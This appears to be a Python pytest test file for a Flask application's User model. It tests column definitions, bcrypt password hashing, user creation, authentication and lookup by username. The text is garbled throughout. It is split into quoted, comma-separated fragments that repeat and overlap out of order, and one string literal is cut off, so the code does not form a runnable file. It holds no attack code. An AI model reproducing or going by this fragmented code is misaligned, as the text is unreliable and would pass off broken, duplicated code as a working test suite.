`User.authenticate()` fail properly when", "columns[column_keys.index('id')] assert 'id' in column_keys assert isinstance(column.type, db.Integer) assert column.primary_key assert column.autoincrement def", "testing_user = User.get_by_username_or_404('testing') assert testing_user == user def test_model_get_by_username_fail(self, app): \"\"\"Does our static", "method `User.get_by_username_or_404` retrieve an existing user given a correct username?\"\"\" with app.app_context(): user", "a non-existing username?\"\"\" with app.app_context(): try: User.get_by_username_or_404('asdf') except HTTPException as e: assert e.response", "extracted_user.email == '<EMAIL>' class TestUserFields(CleanTestingMixin): \"\"\"Test the fields on the `User` class.\"\"\" @pytest.fixture()", "Correct password but non existing username: att_user = User.authenticate('asdf', '<PASSWORD>') assert att_user is", "def test_model_username(self, columns, column_keys): \"\"\"Does our model have our specified `username` field?\"\"\" column", "db.String) assert column.type.length == 100 assert column.unique def test_model_password(self, columns, column_keys): \"\"\"Does our", "model be used to write data to the DB?\"\"\" with app.app_context(): new_user =", "None assert user.id == att_user.id assert user.username == att_user.username assert user.password == att_user.password", "user = User.query.first() testing_user = User.get_by_username_or_404('testing') assert testing_user == user def test_model_get_by_username_fail(self, app):", "for `app.auth.models.User` class.\"\"\" import pytest from werkzeug.exceptions import HTTPException from app import db", "def test_model_exists(self): \"\"\"Does our model exist?\"\"\" assert User.__table__ is not None def test_model_write(self,", "return list(map(lambda c: c.key, columns)) def test_model_id(self, columns, column_keys): \"\"\"Does our model have", "our specified `password` field?\"\"\" column = columns[column_keys.index('password')] assert 'password' in column_keys assert isinstance(column.type,", "assert column.type.length == 256 class TestUserHelpers(CleanTestingMixin): \"\"\"Test the helper methods for the `User`", "User.query.first() assert user is not None # This is the current bcrypt algorithm", "app): \"\"\"Does our static method `User.authenticate()` retrieve an existing user given a correct", "@pytest.fixture() def columns(self): \"\"\"All columns on the `User` table.\"\"\" return list(User.__table__.columns) @pytest.fixture() def", "specified `id` field?\"\"\" column = columns[column_keys.index('id')] assert 'id' in column_keys assert isinstance(column.type, db.Integer)", "\\\"\\\"\\\"Does our model have our specified `phone` field?\\\"\\\"\\\" column = columns[column_keys.index('phone')] assert 'phone'", "column = columns[column_keys.index('email')] assert 'email' in column_keys assert isinstance(column.type, db.String) assert column.type.length ==", "app.app_context(): user = User.query.first() assert user is not None # This is the", "db.String) assert column.type.length == 30 assert column.unique \"\"\" def test_model_email(self, columns, column_keys): \"\"\"Does", "class.\"\"\" @pytest.fixture() def columns(self): \"\"\"All columns on the `User` table.\"\"\" return list(User.__table__.columns) @pytest.fixture()", "field?\"\"\" column = columns[column_keys.index('password')] assert 'password' in column_keys assert isinstance(column.type, db.String) assert column.type.length", "app): \"\"\"Does our static method `User.create()` use bcrypt to hash the password?\"\"\" with", "User.authenticate('asdf', 'asdf') assert att_user is None # Existing username but bad password: att_user", "our static method `User.create()` use bcrypt to hash the password?\"\"\" with app.app_context(): user", "== att_user.id assert user.username == att_user.username assert user.password == att_user.password def test_model_unauth(self, app):", "att_user.id assert user.username == att_user.username assert user.password == att_user.password def test_model_unauth(self, app): \"\"\"Does", "user = User.query.first() assert user is not None # This is the current", "assert user is not None # This is the current bcrypt algorithm signature", "is None # Existing username but bad password: att_user = User.authenticate('testing', 'asdf') assert", "`User` class.\"\"\" @pytest.fixture() def columns(self): \"\"\"All columns on the `User` table.\"\"\" return list(User.__table__.columns)", "user = User.query.first() assert user is not None assert user.name == 'tester' assert", "in column_keys assert isinstance(column.type, db.String) assert column.type.length == 15 assert column.unique \"\"\" def", "'<PASSWORD>') assert att_user is not None assert user.id == att_user.id assert user.username ==", "assert user.username == 'testing' assert user.email == '<EMAIL>' assert user.password != '<PASSWORD>' def", "be used to write data to the DB?\"\"\" with app.app_context(): new_user = User(", "= User.query.first() testing_user = User.get_by_username_or_404('testing') assert testing_user == user def test_model_get_by_username_fail(self, app): \"\"\"Does", "the DB?\"\"\" with app.app_context(): User.create(name='tester', username='testing', email='<EMAIL>', password='<PASSWORD>' ) user = User.query.first() assert", "column_keys assert isinstance(column.type, db.String) assert column.type.length == 100 assert column.unique def test_model_password(self, columns,", "assert user.username == att_user.username assert user.password == att_user.password def test_model_unauth(self, app): \"\"\"Does our", "= columns[column_keys.index('password')] assert 'password' in column_keys assert isinstance(column.type, db.String) assert column.type.length == 256", "an existing user given a correct username?\"\"\" with app.app_context(): user = User.query.first() testing_user", "'id' in column_keys assert isinstance(column.type, db.Integer) assert column.primary_key assert column.autoincrement def test_model_username(self, columns,", "column.primary_key assert column.autoincrement def test_model_username(self, columns, column_keys): \"\"\"Does our model have our specified", "None # Correct password but non existing username: att_user = User.authenticate('asdf', '<PASSWORD>') assert", "non existing username: att_user = User.authenticate('asdf', '<PASSWORD>') assert att_user is None def test_model_get_by_username(self,", "assert att_user is None # Correct password but non existing username: att_user =", "assert user.password != '<PASSWORD>' def test_model_pwd_hash(self, app): \"\"\"Does our static method `User.create()` use", "with app.app_context(): user = User.query.first() att_user = User.authenticate('testing', '<PASSWORD>') assert att_user is not", "column.unique def test_model_password(self, columns, column_keys): \"\"\"Does our model have our specified `password` field?\"\"\"", "def test_model_authenticate(self, app): \"\"\"Does our static method `User.authenticate()` retrieve an existing user given", "specified `email` field?\"\"\" column = columns[column_keys.index('email')] assert 'email' in column_keys assert isinstance(column.type, db.String)", "\"\"\"All keys for the columns on the `User` table.\"\"\" return list(map(lambda c: c.key,", "test_model_get_by_username_fail(self, app): \"\"\"Does our static method `User.get_by_username_or_404` correctly 404 given a non-existing username?\"\"\"", "werkzeug.exceptions import HTTPException from app import db from app.auth.models import User from tests.conftest", "hash the password?\"\"\" with app.app_context(): user = User.query.first() assert user is not None", "our static method `User.get_by_username_or_404` correctly 404 given a non-existing username?\"\"\" with app.app_context(): try:", "att_user.username assert user.password == att_user.password def test_model_unauth(self, app): \"\"\"Does our static method `User.authenticate()`", "test_model_pwd_hash(self, app): \"\"\"Does our static method `User.create()` use bcrypt to hash the password?\"\"\"", "static method `User.create()` use bcrypt to hash the password?\"\"\" with app.app_context(): user =", "assert 'password' in column_keys assert isinstance(column.type, db.String) assert column.type.length == 256 class TestUserHelpers(CleanTestingMixin):", "100 assert column.unique def test_model_password(self, columns, column_keys): \"\"\"Does our model have our specified", "== 15 assert column.unique \"\"\" def test_model_phone(self, columns, column_keys): \\\"\\\"\\\"Does our model have", "\"\"\"Does our model exist?\"\"\" assert User.__table__ is not None def test_model_write(self, app): \"\"\"Can", "the `User` class.\"\"\" def test_model_create(self, app): \"\"\"Does our static method `User.create()` store information", "import HTTPException from app import db from app.auth.models import User from tests.conftest import", "\"\"\"Does our static method `User.authenticate()` retrieve an existing user given a correct username/PW", "from app import db from app.auth.models import User from tests.conftest import CleanTestingMixin class", "def column_keys(self, columns): \"\"\"All keys for the columns on the `User` table.\"\"\" return", "assert isinstance(column.type, db.String) assert column.type.length == 15 assert column.unique \"\"\" def test_model_phone(self, columns,", "new_user = User( username='Test', email='<EMAIL>', password='', ) db.session.add(new_user) db.session.commit() extracted_user = User.query.first() assert", "== 256 class TestUserHelpers(CleanTestingMixin): \"\"\"Test the helper methods for the `User` class.\"\"\" def", "column.type.length == 30 assert column.unique \"\"\" def test_model_email(self, columns, column_keys): \"\"\"Does our model", "bcrypt to hash the password?\"\"\" with app.app_context(): user = User.query.first() assert user is", "is not None assert extracted_user.username == 'Test' assert extracted_user.email == '<EMAIL>' class TestUserFields(CleanTestingMixin):", "column_keys): \"\"\"Does our model have our specified `username` field?\"\"\" column = columns[column_keys.index('username')] assert", "username?\"\"\" with app.app_context(): user = User.query.first() testing_user = User.get_by_username_or_404('testing') assert testing_user == user", "assert att_user is None def test_model_get_by_username(self, app): \"\"\"Does our static method `User.get_by_username_or_404` retrieve", "import pytest from werkzeug.exceptions import HTTPException from app import db from app.auth.models import", "is not None assert user.name == 'tester' assert user.username == 'testing' assert user.email", "def test_model_get_by_username_fail(self, app): \"\"\"Does our static method `User.get_by_username_or_404` correctly 404 given a non-existing", "retrieve an existing user given a correct username/PW combo?\"\"\" with app.app_context(): user =", "is the current bcrypt algorithm signature (Dec. 2020) assert user.password[0:4] == <PASSWORD>$' def", "User.authenticate('testing', '<PASSWORD>') assert att_user is not None assert user.id == att_user.id assert user.username", "password?\"\"\" with app.app_context(): user = User.query.first() assert user is not None # This", "specified `phone` field?\\\"\\\"\\\" column = columns[column_keys.index('phone')] assert 'phone' in column_keys assert isinstance(column.type, db.String)", "on the `User` table.\"\"\" return list(map(lambda c: c.key, columns)) def test_model_id(self, columns, column_keys):", "assert user.email == '<EMAIL>' assert user.password != '<PASSWORD>' def test_model_pwd_hash(self, app): \"\"\"Does our", "`User.create()` store information in the DB?\"\"\" with app.app_context(): User.create(name='tester', username='testing', email='<EMAIL>', password='<PASSWORD>' )", "== user def test_model_get_by_username_fail(self, app): \"\"\"Does our static method `User.get_by_username_or_404` correctly 404 given", "column_keys assert isinstance(column.type, db.String) assert column.type.length == 15 assert column.unique \"\"\" def test_model_phone(self,", "assert extracted_user.username == 'Test' assert extracted_user.email == '<EMAIL>' class TestUserFields(CleanTestingMixin): \"\"\"Test the fields", "User.query.first() assert user is not None assert user.name == 'tester' assert user.username ==", "`User` table.\"\"\" return list(map(lambda c: c.key, columns)) def test_model_id(self, columns, column_keys): \"\"\"Does our", "assert column.unique \"\"\" def test_model_phone(self, columns, column_keys): \\\"\\\"\\\"Does our model have our specified", "class.\"\"\" def test_model_create(self, app): \"\"\"Does our static method `User.create()` store information in the", "`app.auth.models.User` class.\"\"\" import pytest from werkzeug.exceptions import HTTPException from app import db from", "username='Test', email='<EMAIL>', password='', ) db.session.add(new_user) db.session.commit() extracted_user = User.query.first() assert extracted_user is not", "== 'testing' assert user.email == '<EMAIL>' assert user.password != '<PASSWORD>' def test_model_pwd_hash(self, app):", "with app.app_context(): # Non existent username: att_user = User.authenticate('asdf', 'asdf') assert att_user is", "with app.app_context(): user = User.query.first() assert user is not None # This is", "def test_model_password(self, columns, column_keys): \"\"\"Does our model have our specified `password` field?\"\"\" column", "= User.query.first() att_user = User.authenticate('testing', '<PASSWORD>') assert att_user is not None assert user.id", "in column_keys assert isinstance(column.type, db.String) assert column.type.length == 256 class TestUserHelpers(CleanTestingMixin): \"\"\"Test the", "user.username == att_user.username assert user.password == att_user.password def test_model_unauth(self, app): \"\"\"Does our static", "User.get_by_username_or_404('testing') assert testing_user == user def test_model_get_by_username_fail(self, app): \"\"\"Does our static method `User.get_by_username_or_404`", "model have our specified `phone` field?\\\"\\\"\\\" column = columns[column_keys.index('phone')] assert 'phone' in column_keys", "`User.authenticate()` retrieve an existing user given a correct username/PW combo?\"\"\" with app.app_context(): user", "existing username: att_user = User.authenticate('asdf', '<PASSWORD>') assert att_user is None def test_model_get_by_username(self, app):", "# Correct password but non existing username: att_user = User.authenticate('asdf', '<PASSWORD>') assert att_user", "This is the current bcrypt algorithm signature (Dec. 2020) assert user.password[0:4] == <PASSWORD>$'", "att_user.password def test_model_unauth(self, app): \"\"\"Does our static method `User.authenticate()` fail properly when given", "15 assert column.unique \"\"\" def test_model_phone(self, columns, column_keys): \\\"\\\"\\\"Does our model have our", "extracted_user = User.query.first() assert extracted_user is not None assert extracted_user.username == 'Test' assert", "db.String) assert column.type.length == 256 class TestUserHelpers(CleanTestingMixin): \"\"\"Test the helper methods for the", "assert column.type.length == 15 assert column.unique \"\"\" def test_model_phone(self, columns, column_keys): \\\"\\\"\\\"Does our", "user.username == 'testing' assert user.email == '<EMAIL>' assert user.password != '<PASSWORD>' def test_model_pwd_hash(self,", "method `User.authenticate()` fail properly when given an invalid username/PW combo?\"\"\" with app.app_context(): #", "user.password != '<PASSWORD>' def test_model_pwd_hash(self, app): \"\"\"Does our static method `User.create()` use bcrypt", "exist?\"\"\" assert User.__table__ is not None def test_model_write(self, app): \"\"\"Can our model be", "to hash the password?\"\"\" with app.app_context(): user = User.query.first() assert user is not", "(Dec. 2020) assert user.password[0:4] == <PASSWORD>$' def test_model_authenticate(self, app): \"\"\"Does our static method", "User( username='Test', email='<EMAIL>', password='', ) db.session.add(new_user) db.session.commit() extracted_user = User.query.first() assert extracted_user is", "column_keys assert isinstance(column.type, db.Integer) assert column.primary_key assert column.autoincrement def test_model_username(self, columns, column_keys): \"\"\"Does", "username but bad password: att_user = User.authenticate('testing', 'asdf') assert att_user is None #", "given a non-existing username?\"\"\" with app.app_context(): try: User.get_by_username_or_404('asdf') except HTTPException as e: assert", "User.authenticate('testing', 'asdf') assert att_user is None # Correct password but non existing username:", "= User.query.first() assert extracted_user is not None assert extracted_user.username == 'Test' assert extracted_user.email", "assert 'email' in column_keys assert isinstance(column.type, db.String) assert column.type.length == 100 assert column.unique", "User.query.first() att_user = User.authenticate('testing', '<PASSWORD>') assert att_user is not None assert user.id ==", "`User` class.\"\"\" def test_model_create(self, app): \"\"\"Does our static method `User.create()` store information in", "= User.query.first() assert user is not None assert user.name == 'tester' assert user.username", ") user = User.query.first() assert user is not None assert user.name == 'tester'", "def test_model_create(self, app): \"\"\"Does our static method `User.create()` store information in the DB?\"\"\"", "\"\"\"Does our model have our specified `username` field?\"\"\" column = columns[column_keys.index('username')] assert 'username'", "= columns[column_keys.index('phone')] assert 'phone' in column_keys assert isinstance(column.type, db.String) assert column.type.length == 30", "static method `User.create()` store information in the DB?\"\"\" with app.app_context(): User.create(name='tester', username='testing', email='<EMAIL>',", "write data to the DB?\"\"\" with app.app_context(): new_user = User( username='Test', email='<EMAIL>', password='',", "password but non existing username: att_user = User.authenticate('asdf', '<PASSWORD>') assert att_user is None", "def test_model_get_by_username(self, app): \"\"\"Does our static method `User.get_by_username_or_404` retrieve an existing user given", "have our specified `id` field?\"\"\" column = columns[column_keys.index('id')] assert 'id' in column_keys assert", "a correct username/PW combo?\"\"\" with app.app_context(): user = User.query.first() att_user = User.authenticate('testing', '<PASSWORD>')", "test_model_create(self, app): \"\"\"Does our static method `User.create()` store information in the DB?\"\"\" with", "att_user = User.authenticate('testing', 'asdf') assert att_user is None # Correct password but non", "= User.authenticate('testing', '<PASSWORD>') assert att_user is not None assert user.id == att_user.id assert", "with app.app_context(): User.create(name='tester', username='testing', email='<EMAIL>', password='<PASSWORD>' ) user = User.query.first() assert user is", "from werkzeug.exceptions import HTTPException from app import db from app.auth.models import User from", "User.create(name='tester', username='testing', email='<EMAIL>', password='<PASSWORD>' ) user = User.query.first() assert user is not None", "app): \"\"\"Can our model be used to write data to the DB?\"\"\" with", "'Test' assert extracted_user.email == '<EMAIL>' class TestUserFields(CleanTestingMixin): \"\"\"Test the fields on the `User`", "username: att_user = User.authenticate('asdf', '<PASSWORD>') assert att_user is None def test_model_get_by_username(self, app): \"\"\"Does", "'asdf') assert att_user is None # Correct password but non existing username: att_user", "'tester' assert user.username == 'testing' assert user.email == '<EMAIL>' assert user.password != '<PASSWORD>'", "model have our specified `email` field?\"\"\" column = columns[column_keys.index('email')] assert 'email' in column_keys", "username/PW combo?\"\"\" with app.app_context(): # Non existent username: att_user = User.authenticate('asdf', 'asdf') assert", "Existing username but bad password: att_user = User.authenticate('testing', 'asdf') assert att_user is None", "the fields on the `User` class.\"\"\" @pytest.fixture() def columns(self): \"\"\"All columns on the", "bcrypt algorithm signature (Dec. 2020) assert user.password[0:4] == <PASSWORD>$' def test_model_authenticate(self, app): \"\"\"Does", "assert isinstance(column.type, db.String) assert column.type.length == 100 assert column.unique def test_model_password(self, columns, column_keys):", "our model have our specified `username` field?\"\"\" column = columns[column_keys.index('username')] assert 'username' in", "HTTPException as e: assert e.response is None assert e.description == \"Resource not found.\"", "columns): \"\"\"All keys for the columns on the `User` table.\"\"\" return list(map(lambda c:", "information in the DB?\"\"\" with app.app_context(): User.create(name='tester', username='testing', email='<EMAIL>', password='<PASSWORD>' ) user =", "in column_keys assert isinstance(column.type, db.String) assert column.type.length == 30 assert column.unique \"\"\" def", "fail properly when given an invalid username/PW combo?\"\"\" with app.app_context(): # Non existent", "# This is the current bcrypt algorithm signature (Dec. 2020) assert user.password[0:4] ==", "is not None # This is the current bcrypt algorithm signature (Dec. 2020)", "test_model_unauth(self, app): \"\"\"Does our static method `User.authenticate()` fail properly when given an invalid", "app.app_context(): user = User.query.first() testing_user = User.get_by_username_or_404('testing') assert testing_user == user def test_model_get_by_username_fail(self,", "att_user is None # Correct password but non existing username: att_user = User.authenticate('asdf',", "user given a correct username?\"\"\" with app.app_context(): user = User.query.first() testing_user = User.get_by_username_or_404('testing')", "store information in the DB?\"\"\" with app.app_context(): User.create(name='tester', username='testing', email='<EMAIL>', password='<PASSWORD>' ) user", "assert isinstance(column.type, db.String) assert column.type.length == 30 assert column.unique \"\"\" def test_model_email(self, columns,", "test_model_id(self, columns, column_keys): \"\"\"Does our model have our specified `id` field?\"\"\" column =", "of our `User` class.\"\"\" def test_model_exists(self): \"\"\"Does our model exist?\"\"\" assert User.__table__ is", "assert user.password[0:4] == <PASSWORD>$' def test_model_authenticate(self, app): \"\"\"Does our static method `User.authenticate()` retrieve", "but non existing username: att_user = User.authenticate('asdf', '<PASSWORD>') assert att_user is None def", "username: att_user = User.authenticate('asdf', 'asdf') assert att_user is None # Existing username but", "except HTTPException as e: assert e.response is None assert e.description == \"Resource not", "columns(self): \"\"\"All columns on the `User` table.\"\"\" return list(User.__table__.columns) @pytest.fixture() def column_keys(self, columns):", "column.unique \"\"\" def test_model_email(self, columns, column_keys): \"\"\"Does our model have our specified `email`", "given an invalid username/PW combo?\"\"\" with app.app_context(): # Non existent username: att_user =", "test_model_username(self, columns, column_keys): \"\"\"Does our model have our specified `username` field?\"\"\" column =", "a correct username?\"\"\" with app.app_context(): user = User.query.first() testing_user = User.get_by_username_or_404('testing') assert testing_user", "column_keys assert isinstance(column.type, db.String) assert column.type.length == 30 assert column.unique \"\"\" def test_model_email(self,", "have our specified `phone` field?\\\"\\\"\\\" column = columns[column_keys.index('phone')] assert 'phone' in column_keys assert", "class TestUserFields(CleanTestingMixin): \"\"\"Test the fields on the `User` class.\"\"\" @pytest.fixture() def columns(self): \"\"\"All", "our model have our specified `password` field?\"\"\" column = columns[column_keys.index('password')] assert 'password' in", "columns)) def test_model_id(self, columns, column_keys): \"\"\"Does our model have our specified `id` field?\"\"\"", "class TestUserExistence(CleanTestingMixin): \"\"\"Test the existence of our `User` class.\"\"\" def test_model_exists(self): \"\"\"Does our", "\"\"\"All columns on the `User` table.\"\"\" return list(User.__table__.columns) @pytest.fixture() def column_keys(self, columns): \"\"\"All", "the existence of our `User` class.\"\"\" def test_model_exists(self): \"\"\"Does our model exist?\"\"\" assert", "2020) assert user.password[0:4] == <PASSWORD>$' def test_model_authenticate(self, app): \"\"\"Does our static method `User.authenticate()`", "`User.create()` use bcrypt to hash the password?\"\"\" with app.app_context(): user = User.query.first() assert", "app): \"\"\"Does our static method `User.get_by_username_or_404` correctly 404 given a non-existing username?\"\"\" with", "our model exist?\"\"\" assert User.__table__ is not None def test_model_write(self, app): \"\"\"Can our", "\"\"\" def test_model_phone(self, columns, column_keys): \\\"\\\"\\\"Does our model have our specified `phone` field?\\\"\\\"\\\"", "column_keys): \\\"\\\"\\\"Does our model have our specified `phone` field?\\\"\\\"\\\" column = columns[column_keys.index('phone')] assert", "is not None assert user.id == att_user.id assert user.username == att_user.username assert user.password", "an invalid username/PW combo?\"\"\" with app.app_context(): # Non existent username: att_user = User.authenticate('asdf',", "app): \"\"\"Does our static method `User.authenticate()` fail properly when given an invalid username/PW", "columns, column_keys): \"\"\"Does our model have our specified `email` field?\"\"\" column = columns[column_keys.index('email')]", "method `User.create()` use bcrypt to hash the password?\"\"\" with app.app_context(): user = User.query.first()", "not None assert user.id == att_user.id assert user.username == att_user.username assert user.password ==", "assert 'id' in column_keys assert isinstance(column.type, db.Integer) assert column.primary_key assert column.autoincrement def test_model_username(self,", "column.unique \"\"\" def test_model_phone(self, columns, column_keys): \\\"\\\"\\\"Does our model have our specified `phone`", "column_keys): \"\"\"Does our model have our specified `id` field?\"\"\" column = columns[column_keys.index('id')] assert", "our specified `email` field?\"\"\" column = columns[column_keys.index('email')] assert 'email' in column_keys assert isinstance(column.type,", "static method `User.get_by_username_or_404` retrieve an existing user given a correct username?\"\"\" with app.app_context():", "correctly 404 given a non-existing username?\"\"\" with app.app_context(): try: User.get_by_username_or_404('asdf') except HTTPException as", "= columns[column_keys.index('username')] assert 'username' in column_keys assert isinstance(column.type, db.String) assert column.type.length == 15", "password: att_user = User.authenticate('testing', 'asdf') assert att_user is None # Correct password but", "None def test_model_write(self, app): \"\"\"Can our model be used to write data to", "column_keys): \"\"\"Does our model have our specified `email` field?\"\"\" column = columns[column_keys.index('email')] assert", "data to the DB?\"\"\" with app.app_context(): new_user = User( username='Test', email='<EMAIL>', password='', )", "in column_keys assert isinstance(column.type, db.Integer) assert column.primary_key assert column.autoincrement def test_model_username(self, columns, column_keys):", "current bcrypt algorithm signature (Dec. 2020) assert user.password[0:4] == <PASSWORD>$' def test_model_authenticate(self, app):", "app.app_context(): user = User.query.first() att_user = User.authenticate('testing', '<PASSWORD>') assert att_user is not None", "column.autoincrement def test_model_username(self, columns, column_keys): \"\"\"Does our model have our specified `username` field?\"\"\"", "\"\"\"Can our model be used to write data to the DB?\"\"\" with app.app_context():", "have our specified `password` field?\"\"\" column = columns[column_keys.index('password')] assert 'password' in column_keys assert", "User.query.first() testing_user = User.get_by_username_or_404('testing') assert testing_user == user def test_model_get_by_username_fail(self, app): \"\"\"Does our", "User.query.first() assert extracted_user is not None assert extracted_user.username == 'Test' assert extracted_user.email ==", "the current bcrypt algorithm signature (Dec. 2020) assert user.password[0:4] == <PASSWORD>$' def test_model_authenticate(self,", "test_model_password(self, columns, column_keys): \"\"\"Does our model have our specified `password` field?\"\"\" column =", "\"\"\"Test the fields on the `User` class.\"\"\" @pytest.fixture() def columns(self): \"\"\"All columns on", "import db from app.auth.models import User from tests.conftest import CleanTestingMixin class TestUserExistence(CleanTestingMixin): \"\"\"Test", "an existing user given a correct username/PW combo?\"\"\" with app.app_context(): user = User.query.first()", "from tests.conftest import CleanTestingMixin class TestUserExistence(CleanTestingMixin): \"\"\"Test the existence of our `User` class.\"\"\"", "def columns(self): \"\"\"All columns on the `User` table.\"\"\" return list(User.__table__.columns) @pytest.fixture() def column_keys(self,", "None # This is the current bcrypt algorithm signature (Dec. 2020) assert user.password[0:4]", "`username` field?\"\"\" column = columns[column_keys.index('username')] assert 'username' in column_keys assert isinstance(column.type, db.String) assert", "= User.get_by_username_or_404('testing') assert testing_user == user def test_model_get_by_username_fail(self, app): \"\"\"Does our static method", "== 'tester' assert user.username == 'testing' assert user.email == '<EMAIL>' assert user.password !=", "columns[column_keys.index('username')] assert 'username' in column_keys assert isinstance(column.type, db.String) assert column.type.length == 15 assert", "user.password[0:4] == <PASSWORD>$' def test_model_authenticate(self, app): \"\"\"Does our static method `User.authenticate()` retrieve an", "not None def test_model_write(self, app): \"\"\"Can our model be used to write data", "404 given a non-existing username?\"\"\" with app.app_context(): try: User.get_by_username_or_404('asdf') except HTTPException as e:", "TestUserHelpers(CleanTestingMixin): \"\"\"Test the helper methods for the `User` class.\"\"\" def test_model_create(self, app): \"\"\"Does", "= User.authenticate('asdf', '<PASSWORD>') assert att_user is None def test_model_get_by_username(self, app): \"\"\"Does our static", "User.authenticate('asdf', '<PASSWORD>') assert att_user is None def test_model_get_by_username(self, app): \"\"\"Does our static method", "DB?\"\"\" with app.app_context(): new_user = User( username='Test', email='<EMAIL>', password='', ) db.session.add(new_user) db.session.commit() extracted_user", "columns[column_keys.index('phone')] assert 'phone' in column_keys assert isinstance(column.type, db.String) assert column.type.length == 30 assert", "import User from tests.conftest import CleanTestingMixin class TestUserExistence(CleanTestingMixin): \"\"\"Test the existence of our", "app): \"\"\"Does our static method `User.create()` store information in the DB?\"\"\" with app.app_context():", "existence of our `User` class.\"\"\" def test_model_exists(self): \"\"\"Does our model exist?\"\"\" assert User.__table__", "User from tests.conftest import CleanTestingMixin class TestUserExistence(CleanTestingMixin): \"\"\"Test the existence of our `User`", "columns on the `User` table.\"\"\" return list(User.__table__.columns) @pytest.fixture() def column_keys(self, columns): \"\"\"All keys", "`email` field?\"\"\" column = columns[column_keys.index('email')] assert 'email' in column_keys assert isinstance(column.type, db.String) assert", "\"\"\"Does our model have our specified `password` field?\"\"\" column = columns[column_keys.index('password')] assert 'password'", "assert column.unique \"\"\" def test_model_email(self, columns, column_keys): \"\"\"Does our model have our specified", "combo?\"\"\" with app.app_context(): # Non existent username: att_user = User.authenticate('asdf', 'asdf') assert att_user", "`User.get_by_username_or_404` retrieve an existing user given a correct username?\"\"\" with app.app_context(): user =", "= User.authenticate('asdf', 'asdf') assert att_user is None # Existing username but bad password:", "column_keys assert isinstance(column.type, db.String) assert column.type.length == 256 class TestUserHelpers(CleanTestingMixin): \"\"\"Test the helper", "retrieve an existing user given a correct username?\"\"\" with app.app_context(): user = User.query.first()", "`User` class.\"\"\" def test_model_exists(self): \"\"\"Does our model exist?\"\"\" assert User.__table__ is not None", "<PASSWORD>$' def test_model_authenticate(self, app): \"\"\"Does our static method `User.authenticate()` retrieve an existing user", "user.password == att_user.password def test_model_unauth(self, app): \"\"\"Does our static method `User.authenticate()` fail properly", "table.\"\"\" return list(map(lambda c: c.key, columns)) def test_model_id(self, columns, column_keys): \"\"\"Does our model", "assert extracted_user.email == '<EMAIL>' class TestUserFields(CleanTestingMixin): \"\"\"Test the fields on the `User` class.\"\"\"", "the DB?\"\"\" with app.app_context(): new_user = User( username='Test', email='<EMAIL>', password='', ) db.session.add(new_user) db.session.commit()", "def test_model_id(self, columns, column_keys): \"\"\"Does our model have our specified `id` field?\"\"\" column", "\"\"\"Does our static method `User.get_by_username_or_404` retrieve an existing user given a correct username?\"\"\"", "column = columns[column_keys.index('phone')] assert 'phone' in column_keys assert isinstance(column.type, db.String) assert column.type.length ==", "app import db from app.auth.models import User from tests.conftest import CleanTestingMixin class TestUserExistence(CleanTestingMixin):", "`User.get_by_username_or_404` correctly 404 given a non-existing username?\"\"\" with app.app_context(): try: User.get_by_username_or_404('asdf') except HTTPException", "on the `User` table.\"\"\" return list(User.__table__.columns) @pytest.fixture() def column_keys(self, columns): \"\"\"All keys for", "column.type.length == 100 assert column.unique def test_model_password(self, columns, column_keys): \"\"\"Does our model have", "properly when given an invalid username/PW combo?\"\"\" with app.app_context(): # Non existent username:", "specified `username` field?\"\"\" column = columns[column_keys.index('username')] assert 'username' in column_keys assert isinstance(column.type, db.String)", "but bad password: att_user = User.authenticate('testing', 'asdf') assert att_user is None # Correct", "columns[column_keys.index('password')] assert 'password' in column_keys assert isinstance(column.type, db.String) assert column.type.length == 256 class", "db.session.commit() extracted_user = User.query.first() assert extracted_user is not None assert extracted_user.username == 'Test'", "assert column.unique def test_model_password(self, columns, column_keys): \"\"\"Does our model have our specified `password`", "our model have our specified `phone` field?\\\"\\\"\\\" column = columns[column_keys.index('phone')] assert 'phone' in", "try: User.get_by_username_or_404('asdf') except HTTPException as e: assert e.response is None assert e.description ==", "256 class TestUserHelpers(CleanTestingMixin): \"\"\"Test the helper methods for the `User` class.\"\"\" def test_model_create(self,", "field?\\\"\\\"\\\" column = columns[column_keys.index('phone')] assert 'phone' in column_keys assert isinstance(column.type, db.String) assert column.type.length", "given a correct username?\"\"\" with app.app_context(): user = User.query.first() testing_user = User.get_by_username_or_404('testing') assert", "our static method `User.get_by_username_or_404` retrieve an existing user given a correct username?\"\"\" with", "assert testing_user == user def test_model_get_by_username_fail(self, app): \"\"\"Does our static method `User.get_by_username_or_404` correctly", "model have our specified `username` field?\"\"\" column = columns[column_keys.index('username')] assert 'username' in column_keys", "field?\"\"\" column = columns[column_keys.index('username')] assert 'username' in column_keys assert isinstance(column.type, db.String) assert column.type.length", "User.__table__ is not None def test_model_write(self, app): \"\"\"Can our model be used to", "def test_model_unauth(self, app): \"\"\"Does our static method `User.authenticate()` fail properly when given an", "user given a correct username/PW combo?\"\"\" with app.app_context(): user = User.query.first() att_user =", "= User( username='Test', email='<EMAIL>', password='', ) db.session.add(new_user) db.session.commit() extracted_user = User.query.first() assert extracted_user", "c: c.key, columns)) def test_model_id(self, columns, column_keys): \"\"\"Does our model have our specified", "'<PASSWORD>') assert att_user is None def test_model_get_by_username(self, app): \"\"\"Does our static method `User.get_by_username_or_404`", "method `User.create()` store information in the DB?\"\"\" with app.app_context(): User.create(name='tester', username='testing', email='<EMAIL>', password='<PASSWORD>'", "\"\"\" def test_model_email(self, columns, column_keys): \"\"\"Does our model have our specified `email` field?\"\"\"", "isinstance(column.type, db.Integer) assert column.primary_key assert column.autoincrement def test_model_username(self, columns, column_keys): \"\"\"Does our model", "test_model_get_by_username(self, app): \"\"\"Does our static method `User.get_by_username_or_404` retrieve an existing user given a", "# Non existent username: att_user = User.authenticate('asdf', 'asdf') assert att_user is None #", "== '<EMAIL>' class TestUserFields(CleanTestingMixin): \"\"\"Test the fields on the `User` class.\"\"\" @pytest.fixture() def", "30 assert column.unique \"\"\" def test_model_email(self, columns, column_keys): \"\"\"Does our model have our", "\"\"\"Tests for `app.auth.models.User` class.\"\"\" import pytest from werkzeug.exceptions import HTTPException from app import", "!= '<PASSWORD>' def test_model_pwd_hash(self, app): \"\"\"Does our static method `User.create()` use bcrypt to", "test_model_authenticate(self, app): \"\"\"Does our static method `User.authenticate()` retrieve an existing user given a", "DB?\"\"\" with app.app_context(): User.create(name='tester', username='testing', email='<EMAIL>', password='<PASSWORD>' ) user = User.query.first() assert user", "from app.auth.models import User from tests.conftest import CleanTestingMixin class TestUserExistence(CleanTestingMixin): \"\"\"Test the existence", "CleanTestingMixin class TestUserExistence(CleanTestingMixin): \"\"\"Test the existence of our `User` class.\"\"\" def test_model_exists(self): \"\"\"Does" ]
